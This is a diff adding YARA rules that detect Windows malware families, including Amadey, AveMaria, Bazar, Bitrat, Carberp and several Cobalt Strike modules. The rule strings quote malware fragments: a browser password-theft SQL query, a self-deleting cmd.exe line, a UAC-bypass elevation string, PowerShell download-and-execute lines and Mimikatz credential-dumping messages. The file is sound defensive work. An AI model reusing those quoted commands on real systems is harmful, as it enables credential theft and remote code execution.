+ $a20 = "get_LastAccessed" ascii fullword
+ $a21 = "get_avatarType" ascii fullword
+ $a22 = "get_signaturePresets" ascii fullword
+ $a23 = "get_enableLog" ascii fullword
+ $a24 = "TelegramLog" ascii fullword
+ $a25 = "generateKeyV75" ascii fullword
+ $a26 = "set_accountName" ascii fullword
+ $a27 = "set_InternalServerPort" ascii fullword
+ $a28 = "set_bindingConfigurationUID" ascii fullword
+ $a29 = "set_IdnAddress" ascii fullword
+ $a30 = "set_GuidMasterKey" ascii fullword
+ $a31 = "m_MyWebServicesObjectProvider" ascii fullword
+ $a32 = "m_UserObjectProvider" ascii fullword
+ $a33 = "m_ComputerObjectProvider" ascii fullword
+ $a34 = "m_ThreadStaticValue" ascii fullword
+ $a35 = "set_username" ascii fullword
+ $a36 = "set_version" ascii fullword
+condition:
+ 8 of ($a*)
+}
+
+rule Windows_Trojan_Amadey_7abb059b {
+ meta:
+ id = "7abb059b-4001-4eec-8185-1e0497e15062"
+ fingerprint = "686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f"
+ creation_date = "2021-06-28"
+ last_modified = "2021-06-28"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Amadey"
+ threat_name = "Windows.Trojan.Amadey"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Amadey_c4df8d4a {
+ meta:
+ id = "c4df8d4a-01f4-466f-8225-7c7f462b29e7"
+ fingerprint = "4623c591ea465e23f041db77dc68ddfd45034a8bde0f20fd5fbcec060851200c"
+ creation_date = "2021-06-28"
+ last_modified = "2021-06-28"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Amadey"
+ threat_name = "Windows.Trojan.Amadey"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "9039d31d0bd88d0c15ee9074a84f8d14e13f5447439ba80dd759bf937ed20bf2"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "D:\\Mktmp\\NL1\\Release\\NL1.pdb" fullword
+condition:
+ all of them
+}
+
+rule Windows_Trojan_AveMaria_31d2bce9 {
+ meta:
+ id = "31d2bce9-3266-447b-9a2d-57cf11a0ff1f"
+ fingerprint = "8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0"
+ creation_date = "2021-05-30"
+ last_modified = "2021-05-30"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "AveMaria"
+ threat_name = "Windows.Trojan.AveMaria"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "cmd.exe /C ping 1.2.3.4 -n 2 -w 1000 > Nul & Del /f /q " ascii fullword
+ $a2 = "SMTP Password" wide fullword
+ $a3 = "select signon_realm, origin_url, username_value, password_value from logins" ascii fullword
+ $a4 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" wide fullword
+ $a5 = "for /F \"usebackq tokens=*\" %%A in (\"" wide fullword
+ $a6 = "\\Torch\\User Data\\Default\\Login Data" wide fullword
+ $a7 = "/n:%temp%\\ellocnak.xml" wide fullword
+ $a8 = "\"os_crypt\":{\"encrypted_key\":\"" wide fullword
+ $a9 = "Hey I'm Admin" wide fullword
+ $a10 = "\\logins.json" wide fullword
+ $a11 = "Accounts\\Account.rec0" ascii fullword
+ $a12 = "warzone160" ascii fullword
+ $a13 = "Ave_Maria Stealer OpenSource github Link: https://github.com/syohex/java-simple-mine-sweeper" wide fullword
+condition:
+ 8 of ($a*)
+}
+
+rule Windows_Trojan_Bazar_711d59f6 {
+ meta:
+ id = "711d59f6-6e8a-485d-b362-4c1bf1bda66e"
+ fingerprint = "a9e78b4e39f4acaba86c2595db67fcdcd40d1af611d41a023bd5d8ca9804efa4"
+ creation_date = "2021-06-28"
+ last_modified = "2021-06-28"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Bazar"
+ threat_name = "Windows.Trojan.Bazar"
+ source = "Automated"
+ maturity = "Diagnostic"
+ reference_sample = "f29253139dab900b763ef436931213387dc92e860b9d3abb7dcd46040ac28a0e"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 0F 94 C3 41 0F 95 C0 83 FA 0A 0F 9C C1 83 FA 09 0F 9F C2 31 C0 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Bazar_9dddea36 {
+ meta:
+ id = "9dddea36-1345-434b-8ce6-54d2eab39616"
+ fingerprint = "e322e36006cc017d5d5d9887c89b180c5070dbe5a9efd9fb7ae15cda5b726d6c"
+ creation_date = "2021-06-28"
+ last_modified = "2021-06-28"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Bazar"
+ threat_name = "Windows.Trojan.Bazar"
+ source = "Automated"
+ maturity = "Diagnostic"
+ reference_sample = "63df43daa61f9a0fbea2e5409b8f0063f7af3363b6bc8d6984ce7e90c264727d"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { C4 10 5B 5F 5E C3 41 56 56 57 55 53 48 83 EC 18 48 89 C8 48 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Bazar_3a2cc53b {
+ meta:
+ id = "3a2cc53b-4f73-41f9-aabd-08b8755ba44c"
+ fingerprint = "f146d4fff29011acf595f2cba10ed7c3ce6ba07fbda0864d746f8e6355f91add"
+ creation_date = "2021-06-28"
+ last_modified = "2021-06-28"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Bazar"
+ threat_name = "Windows.Trojan.Bazar"
+ source = "Automated"
+ maturity = "Diagnostic"
+ reference_sample = "b057eb94e711995fd5fd6c57aa38a243575521b11b98734359658a7a9829b417"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 48 63 41 3C 45 33 ED 44 8B FA 48 8B F9 8B 9C 08 88 00 00 00 44 8B A4 08 8C 00 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Bitrat_34bd6c83 {
+ meta:
+ id = "34bd6c83-9a71-43d5-b0b1-1646a8fb66e8"
+ fingerprint = "bc4a5fad1810ad971277a455030eed3377901a33068bb994e235346cfe5a524f"
+ creation_date = "2021-06-13"
+ last_modified = "2021-06-27"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Bitrat"
+ threat_name = "Windows.Trojan.Bitrat"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "37f70ae0e4e671c739d402c00f708761e98b155a1eefbedff1236637c4b7690a"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "crd_logins_report" ascii fullword
+ $a2 = "drives_get" ascii fullword
+ $a3 = "files_get" ascii fullword
+ $a4 = "shell_stop" ascii fullword
+ $a5 = "hvnc_start_ie" ascii fullword
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Carberp_d6de82ae {
+ meta:
+ id = "d6de82ae-9846-40cb-925d-e0a371e1c44c"
+ fingerprint = "7ce34f1000749a938b78508c93371d3339cd49f73eeec36b25da13c9d129b85c"
+ creation_date = "2021-02-07"
+ last_modified = "2021-07-16"
+ description = "Identifies VNC module from the leaked Carberp source code. This could exist in other malware families."
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Carberp"
+ threat_name = "Windows.Trojan.Carberp"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://github.com/m0n0ph1/malware-1/blob/master/Carberp%20Botnet/source%20-%20absource/pro/all%20source/hvnc_dll/HVNC%20Lib/vnc/xvnc.h#L342"
+ reference_sample = "f98fadb6feab71930bd5c08e85153898d686cc96c84fe349c00bf6d482de9b53"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = ".NET CLR Networking_Perf_Library_Lock_PID_0" ascii wide fullword
+ $a2 = "FakeVNCWnd" ascii wide fullword
+condition:
+ all of them
+}
+
+rule Windows_Trojan_CobaltStrike_c851687a {
+ meta:
+ id = "c851687a-aac6-43e7-a0b6-6aed36dcf12e"
+ fingerprint = "70224e28a223d09f2211048936beb9e2d31c0312c97a80e22c85e445f1937c10"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies UAC Bypass module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "bypassuac.dll" ascii fullword
+ $a2 = "bypassuac.x64.dll" ascii fullword
+ $a3 = "\\\\.\\pipe\\bypassuac" ascii fullword
+ $b1 = "\\System32\\sysprep\\sysprep.exe" wide fullword
+ $b2 = "[-] Could not write temp DLL to '%S'" ascii fullword
+ $b3 = "[*] Cleanup successful" ascii fullword
+ $b4 = "\\System32\\cliconfg.exe" wide fullword
+ $b5 = "\\System32\\eventvwr.exe" wide fullword
+ $b6 = "[-] %S ran too long. Could not terminate the process." ascii fullword
+ $b7 = "[*] Wrote hijack DLL to '%S'" ascii fullword
+ $b8 = "\\System32\\sysprep\\" wide fullword
+ $b9 = "[-] COM initialization failed." ascii fullword
+ $b10 = "[-] Privileged file copy failed: %S" ascii fullword
+ $b11 = "[-] Failed to start %S: %d" ascii fullword
+ $b12 = "ReflectiveLoader"
+ $b13 = "[-] '%S' exists in DLL hijack location." ascii fullword
+ $b14 = "[-] Cleanup failed. Remove: %S" ascii fullword
+ $b15 = "[+] %S ran and exited." ascii fullword
+ $b16 = "[+] Privileged file copy success! %S" ascii fullword
+condition:
+ 2 of ($a*) or 10 of ($b*)
+}
+
+rule Windows_Trojan_CobaltStrike_0b58325e {
+ meta:
+ id = "0b58325e-2538-434d-9a2c-26e2c32db039"
+ fingerprint = "8ecd5bdce925ae5d4f90cecb9bc8c3901b54ba1c899a33354bcf529eeb2485d4"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies Keylogger module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "keylogger.dll" ascii fullword
+ $a2 = "keylogger.x64.dll" ascii fullword
+ $a3 = "\\\\.\\pipe\\keylogger" ascii fullword
+ $a4 = "%cE=======%c" ascii fullword
+ $a5 = "[unknown: %02X]" ascii fullword
+ $b1 = "ReflectiveLoader"
+ $b2 = "%c2%s%c" ascii fullword
+ $b3 = "[numlock]" ascii fullword
+ $b4 = "%cC%s" ascii fullword
+ $b5 = "[backspace]" ascii fullword
+ $b6 = "[scroll lock]" ascii fullword
+ $b7 = "[control]" ascii fullword
+ $b8 = "[left]" ascii fullword
+ $b9 = "[page up]" ascii fullword
+ $b10 = "[page down]" ascii fullword
+ $b11 = "[prtscr]" ascii fullword
+ $b12 = "ZRich9" ascii fullword
+ $b13 = "[ctrl]" ascii fullword
+ $b14 = "[home]" ascii fullword
+ $b15 = "[pause]" ascii fullword
+ $b16 = "[clear]" ascii fullword
+condition:
+ 1 of ($a*) and 14 of ($b*)
+}
+
+rule Windows_Trojan_CobaltStrike_2b8cddf8 {
+ meta:
+ id = "2b8cddf8-ca7a-4f85-be9d-6d8534d0482e"
+ fingerprint = "0d7d28d79004ca61b0cfdcda29bd95e3333e6fc6e6646a3f6ba058aa01bee188"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies dll load module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\dllload.x64.o" ascii fullword
+ $a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\dllload.x86.o" ascii fullword
+ $b1 = "__imp_BeaconErrorDD" ascii fullword
+ $b2 = "__imp_BeaconErrorNA" ascii fullword
+ $b3 = "__imp_BeaconErrorD" ascii fullword
+ $b4 = "__imp_BeaconDataInt" ascii fullword
+ $b5 = "__imp_KERNEL32$WriteProcessMemory" ascii fullword
+ $b6 = "__imp_KERNEL32$OpenProcess" ascii fullword
+ $b7 = "__imp_KERNEL32$CreateRemoteThread" ascii fullword
+ $b8 = "__imp_KERNEL32$VirtualAllocEx" ascii fullword
+ $c1 = "__imp__BeaconErrorDD" ascii fullword
+ $c2 = "__imp__BeaconErrorNA" ascii fullword
+ $c3 = "__imp__BeaconErrorD" ascii fullword
+ $c4 = "__imp__BeaconDataInt" ascii fullword
+ $c5 = "__imp__KERNEL32$WriteProcessMemory" ascii fullword
+ $c6 = "__imp__KERNEL32$OpenProcess" ascii fullword
+ $c7 = "__imp__KERNEL32$CreateRemoteThread" ascii fullword
+ $c8 = "__imp__KERNEL32$VirtualAllocEx" ascii fullword
+condition:
+ 1 of ($a*) or 5 of ($b*) or 5 of ($c*)
+}
+
+rule Windows_Trojan_CobaltStrike_59b44767 {
+ meta:
+ id = "59b44767-c9a5-42c0-b177-7fe49afd7dfb"
+ fingerprint = "882886a282ec78623a0d3096be3d324a8a1b8a23bcb88ea0548df2fae5e27aa5"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies getsystem module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\getsystem.x86.o" ascii fullword
+ $a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\getsystem.x64.o" ascii fullword
+ $b1 = "getsystem failed." ascii fullword
+ $b2 = "_isSystemSID" ascii fullword
+ $b3 = "__imp__NTDLL$NtQuerySystemInformation@16" ascii fullword
+ $c1 = "getsystem failed." ascii fullword
+ $c2 = "$pdata$isSystemSID" ascii fullword
+ $c3 = "$unwind$isSystemSID" ascii fullword
+ $c4 = "__imp_NTDLL$NtQuerySystemInformation" ascii fullword
+condition:
+ 1 of ($a*) or 3 of ($b*) or 3 of ($c*)
+}
+
+rule Windows_Trojan_CobaltStrike_7efd3c3f {
+ meta:
+ id = "7efd3c3f-1104-4b46-9d1e-dc2c62381b8c"
+ fingerprint = "9e7c7c9a7436f5ee4c27fd46d6f06e7c88f4e4d1166759573cedc3ed666e1838"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies Hashdump module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 70
+ strings:
+ $a1 = "hashdump.dll" ascii fullword
+ $a2 = "hashdump.x64.dll" ascii fullword
+ $a3 = "\\\\.\\pipe\\hashdump" ascii fullword
+ $a4 = "ReflectiveLoader"
+ $a5 = "Global\\SAM" ascii fullword
+ $a6 = "Global\\FREE" ascii fullword
+ $a7 = "[-] no results." ascii fullword
+condition:
+ 4 of ($a*)
+}
+
+/*
+Triggering on the nslookup BOF, too difficult to currently get around...
+
+rule Windows_Trojan_CobaltStrike_6e971281 {
+ meta:
+ id = "6e971281-3ee3-402f-8a72-745ec8fb91fb"
+ fingerprint = "62d97cf73618a1b4d773d5494b2761714be53d5cda774f9a96eaa512c8d5da12"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies Interfaces module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\interfaces.x64.o" ascii fullword
+ $a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\interfaces.x86.o" ascii fullword
+ $b1 = "__imp_BeaconFormatAlloc" ascii fullword
+ $b2 = "__imp_BeaconFormatPrintf" ascii fullword
+ $b3 = "__imp_BeaconOutput" ascii fullword
+ $b4 = "__imp_KERNEL32$LocalAlloc" ascii fullword
+ $b5 = "__imp_KERNEL32$LocalFree" ascii fullword
+ $b6 = "__imp_LoadLibraryA" ascii fullword
+ $c1 = "__imp__BeaconFormatAlloc" ascii fullword
+ $c2 = "__imp__BeaconFormatPrintf" ascii fullword
+ $c3 = "__imp__BeaconOutput" ascii fullword
+ $c4 = "__imp__KERNEL32$LocalAlloc" ascii fullword
+ $c5 = "__imp__KERNEL32$LocalFree" ascii fullword
+ $c6 = "__imp__LoadLibraryA" ascii fullword
+condition:
+ 1 of ($a*) or 4 of ($b*) or 4 of ($c*)
+}
+*/
+
+rule Windows_Trojan_CobaltStrike_09b79efa {
+ meta:
+ id = "09b79efa-55d7-481d-9ee0-74ac5f787cef"
+ fingerprint = "04ef6555e8668c56c528dc62184331a6562f47652c73de732e5f7c82779f2fd8"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies Invoke Assembly module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "invokeassembly.x64.dll" ascii fullword
+ $a2 = "invokeassembly.dll" ascii fullword
+ $b1 = "[-] Failed to get default AppDomain w/hr 0x%08lx" ascii fullword
+ $b2 = "[-] Failed to load the assembly w/hr 0x%08lx" ascii fullword
+ $b3 = "[-] Failed to create the runtime host" ascii fullword
+ $b4 = "[-] Invoke_3 on EntryPoint failed." ascii fullword
+ $b5 = "[-] CLR failed to start w/hr 0x%08lx" ascii fullword
+ $b6 = "ReflectiveLoader"
+ $b7 = ".NET runtime [ver %S] cannot be loaded" ascii fullword
+ $b8 = "[-] No .NET runtime found. :(" ascii fullword
+ $b9 = "[-] ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx" ascii fullword
+ $c1 = { FF 57 0C 85 C0 78 40 8B 45 F8 8D 55 F4 8B 08 52 50 }
+condition:
+ 1 of ($a*) or 3 of ($b*) or 1 of ($c*)
+}
+
+rule Windows_Trojan_CobaltStrike_6e77233e {
+ meta:
+ id = "6e77233e-7fb4-4295-823d-f97786c5d9c4"
+ fingerprint = "cef2949eae78b1c321c2ec4010749a5ac0551d680bd5eb85493fc88c5227d285"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies Kerberos module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\kerberos.x64.o" ascii fullword
+ $a2 = "$unwind$command_kerberos_ticket_use" ascii fullword
+ $a3 = "$pdata$command_kerberos_ticket_use" ascii fullword
+ $a4 = "command_kerberos_ticket_use" ascii fullword
+ $a5 = "$pdata$command_kerberos_ticket_purge" ascii fullword
+ $a6 = "command_kerberos_ticket_purge" ascii fullword
+ $a7 = "$unwind$command_kerberos_ticket_purge" ascii fullword
+ $a8 = "$unwind$kerberos_init" ascii fullword
+ $a9 = "$unwind$KerberosTicketUse" ascii fullword
+ $a10 = "KerberosTicketUse" ascii fullword
+ $a11 = "$unwind$KerberosTicketPurge" ascii fullword
+ $b1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\kerberos.x86.o" ascii fullword
+ $b2 = "_command_kerberos_ticket_use" ascii fullword
+ $b3 = "_command_kerberos_ticket_purge" ascii fullword
+ $b4 = "_kerberos_init" ascii fullword
+ $b5 = "_KerberosTicketUse" ascii fullword
+ $b6 = "_KerberosTicketPurge" ascii fullword
+ $b7 = "_LsaCallKerberosPackage" ascii fullword
+condition:
+ 5 of ($a*) or 3 of ($b*)
+}
+
+rule Windows_Trojan_CobaltStrike_de42495a {
+ meta:
+ id = "de42495a-0002-466e-98b9-19c9ebb9240e"
+ fingerprint = "dab3c25809ec3af70df5a8a04a2efd4e8ecb13a4c87001ea699e7a1512973b82"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies Mimikatz module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "\\\\.\\pipe\\mimikatz" ascii fullword
+ $b1 = "ERROR kuhl_m_dpapi_chrome ; Input 'Login Data' file needed (/in:\"%%localappdata%%\\Google\\Chrome\\User Data\\Default\\Login Da" wide
+ $b2 = "ERROR kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x%08x)" wide fullword
+ $b3 = "ERROR kuhl_m_lsadump_getUsersAndSamKey ; kuhl_m_lsadump_getSamKey KO" wide fullword
+ $b4 = "ERROR kuhl_m_lsadump_getComputerAndSyskey ; kull_m_registry_RegOpenKeyEx LSA KO" wide fullword
+ $b5 = "ERROR kuhl_m_lsadump_lsa_getHandle ; OpenProcess (0x%08x)" wide fullword
+ $b6 = "ERROR kuhl_m_lsadump_enumdomains_users ; SamLookupNamesInDomain: %08x" wide fullword
+ $b7 = "mimikatz(powershell) # %s" wide fullword
+ $b8 = "powershell_reflective_mimikatz" ascii fullword
+ $b9 = "mimikatz_dpapi_cache.ndr" wide fullword
+ $b10 = "mimikatz.log" wide fullword
+ $b11 = "ERROR mimikatz_doLocal" wide
+ $b12 = "mimikatz_x64.compressed" wide
+condition:
+ 1 of ($a*) and 7 of ($b*)
+}
+
+/*
+Triggering on several BOFs, too difficult to currently get around...
+
+rule Windows_Trojan_CobaltStrike_72f68375 {
+ meta:
+ id = "72f68375-35ab-49cc-905d-15302389a236"
+ fingerprint = "ecc28f414b2c347722b681589da8529c6f3af0491845453874f8fd87c2ae86d7"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies Netdomain module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\net_domain.x64.o" ascii fullword
+ $a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\net_domain.x86.o" ascii fullword
+ $b1 = "__imp_BeaconPrintf" ascii fullword
+ $b2 = "__imp_NETAPI32$NetApiBufferFree" ascii fullword
+ $b3 = "__imp_NETAPI32$DsGetDcNameA" ascii fullword
+ $c1 = "__imp__BeaconPrintf" ascii fullword
+ $c2 = "__imp__NETAPI32$NetApiBufferFree" ascii fullword
+ $c3 = "__imp__NETAPI32$DsGetDcNameA" ascii fullword
+condition:
+ 1 of ($a*) or 2 of ($b*) or 2 of ($c*)
+}
+*/
+
+rule Windows_Trojan_CobaltStrike_15f680fb {
+ meta:
+ id = "15f680fb-a04f-472d-a182-0b9bee111351"
+ fingerprint = "0ecb8e41c01bf97d6dea4cf6456b769c6dd2a037b37d754f38580bcf561e1d2c"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies Netview module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "netview.x64.dll" ascii fullword
+ $a2 = "netview.dll" ascii fullword
+ $a3 = "\\\\.\\pipe\\netview" ascii fullword
+ $b1 = "Sessions for \\\\%s:" ascii fullword
+ $b2 = "Account information for %s on \\\\%s:" ascii fullword
+ $b3 = "Users for \\\\%s:" ascii fullword
+ $b4 = "Shares at \\\\%s:" ascii fullword
+ $b5 = "ReflectiveLoader" ascii fullword
+ $b6 = "Password changeable" ascii fullword
+ $b7 = "User's Comment" wide fullword
+ $b8 = "List of hosts for domain '%s':" ascii fullword
+ $b9 = "Password changeable" ascii fullword
+ $b10 = "Logged on users at \\\\%s:" ascii fullword
+condition:
+ 2 of ($a*) or 6 of ($b*)
+}
+
+rule Windows_Trojan_CobaltStrike_5b4383ec {
+ meta:
+ id = "5b4383ec-3c93-4e91-850e-d43cc3a86710"
+ fingerprint = "283d3d2924e92b31f26ec4fc6b79c51bd652fb1377b6985b003f09f8c3dba66c"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies Portscan module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "portscan.x64.dll" ascii fullword
+ $a2 = "portscan.dll" ascii fullword
+ $a3 = "\\\\.\\pipe\\portscan" ascii fullword
+ $b1 = "(ICMP) Target '%s' is alive. [read %d bytes]" ascii fullword
+ $b2 = "(ARP) Target '%s' is alive. " ascii fullword
+ $b3 = "TARGETS!12345" ascii fullword
+ $b4 = "ReflectiveLoader" ascii fullword
+ $b5 = "%s:%d (platform: %d version: %d.%d name: %S domain: %S)" ascii fullword
+ $b6 = "Scanner module is complete" ascii fullword
+ $b7 = "pingpong" ascii fullword
+ $b8 = "PORTS!12345" ascii fullword
+ $b9 = "%s:%d (%s)" ascii fullword
+ $b10 = "PREFERENCES!12345" ascii fullword
+condition:
+ 2 of ($a*) or 6 of ($b*)
+}
+
+rule Windows_Trojan_CobaltStrike_91e08059 {
+ meta:
+ id = "91e08059-46a8-47d0-91c9-e86874951a4a"
+ fingerprint = "d8baacb58a3db00489827275ad6a2d007c018eaecbce469356b068d8a758634b"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies Post Ex module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "postex.x64.dll" ascii fullword
+ $a2 = "postex.dll" ascii fullword
+ $a3 = "RunAsAdminCMSTP" ascii fullword
+ $a4 = "KerberosTicketPurge" ascii fullword
+ $b1 = "GetSystem" ascii fullword
+ $b2 = "HelloWorld" ascii fullword
+ $b3 = "KerberosTicketUse" ascii fullword
+ $b4 = "SpawnAsAdmin" ascii fullword
+ $b5 = "RunAsAdmin" ascii fullword
+ $b6 = "NetDomain" ascii fullword
+condition:
+ 2 of ($a*) or 4 of ($b*)
+}
+
+rule Windows_Trojan_CobaltStrike_ee756db7 {
+ meta:
+ id = "ee756db7-e177-41f0-af99-c44646d334f7"
+ fingerprint = "e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-20"
+ description = "Attempts to detect Cobalt Strike based on strings found in BEACON"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+ $a2 = "%s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+ $a3 = "ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset." ascii fullword
+ $a4 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" ascii fullword
+ $a5 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/')" ascii fullword
+ $a6 = "%s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+ $a7 = "could not run command (w/ token) because of its length of %d bytes!" ascii fullword
+ $a8 = "%s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+ $a9 = "%s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
